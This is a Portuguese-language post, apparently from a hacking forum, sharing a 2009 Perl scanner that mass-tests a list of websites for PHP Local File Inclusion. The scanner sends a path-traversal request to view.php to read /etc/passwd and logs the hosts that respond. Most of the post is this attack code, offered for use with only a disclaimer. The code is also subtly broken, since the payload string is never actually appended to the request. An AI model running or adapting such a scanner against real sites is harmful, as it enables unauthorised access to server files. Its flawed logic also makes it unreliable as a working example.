Posto aqui um
scanner simples em
Perl para explorar
Local File Inclusion em PHP. Seu uso é simples, tem a finalidade de explorar script view.php caso estiver vulnerável, tentando ler o arquivo /etc/passwd do servidor que hospeda o portal.
Modo de uso::
$ perl scan.pl arquivo.txt
Sendo "arquivo.txt" a lista de sites sobre sua responsabilidade a qual você busca essa vulnerabilidade.
Código-fonte:
#!/usr/bin/perl
use LWP 5.64;
# H1r4x Team - Scanner PHP Local File inclusion
# Scanner de Vulnerabilidade Local em sistemas PHP,
# para fins educacionais, não me responsabilizo
# pelo mau uso do mesmo. Copyright (c) 2009
# - crackt0r (elvis.suffipompeu@gmail.com)
# Este programa é software gratuito; você pode
# redistribuí-lo e/ou modificá-lo sob os termos da
# GNU General Public license, conforme publicado
# pela Free Software Fundation; ou a versão 2 da
# licença ou (segunda sua opção) qualquer versão
# posterior. Este programa é distribuído na
# esperança de que vá ser útil, mas SEM QUALQUER
# GARANTIA; sem mesmo a garantia implícita
# de MERCANTIBILDADE ou LUCRATIVIDADE PARA UM
# PROPÓSITO PARTICULAR. Para mais detalhes, veja
# a GNU General Public License. greetz: STEALH
# Break_IDS Crash g0ph3r BashX unknowm SentiniX
print "----------------------------------------------\n
H1r4x Team - Scanner PHP Local File Inclusion \n
----------------------------------------------\n";
if (!@ARGV[0])
{
print "modo de uso: $0 sites.txt \n";
exit;
}
my $site = @ARGV[0];
my $bug = "/view.php?page=../../../etc/passwd";
open(HANDLE,"<$site") || die "can't open file $site";
@array = <HANDLE>;
foreach $site (@array)
{
if ($site !~/http/)
{
$site = 'http://' . $site;
}
$browser = LWP::UserAgent->new;
$site . $bug;
$response = $browser->get( $site );
if($response->content =~ m/root/i)
{
print "\n[Vulnerable]: $site\n";
open(VULN,">>vuln.txt");
print VULN "$site\n";
close(VULN);
}
else
{
print "[No]: $site \n";
}
close(HANDLE);
}
__END__
ATENÇÃO: Jamais use esse scanner em sistemas que não lhe pertencem. Não me responsabilizo pelo mau uso deste script, deve ser usado apenas para fins educacionais.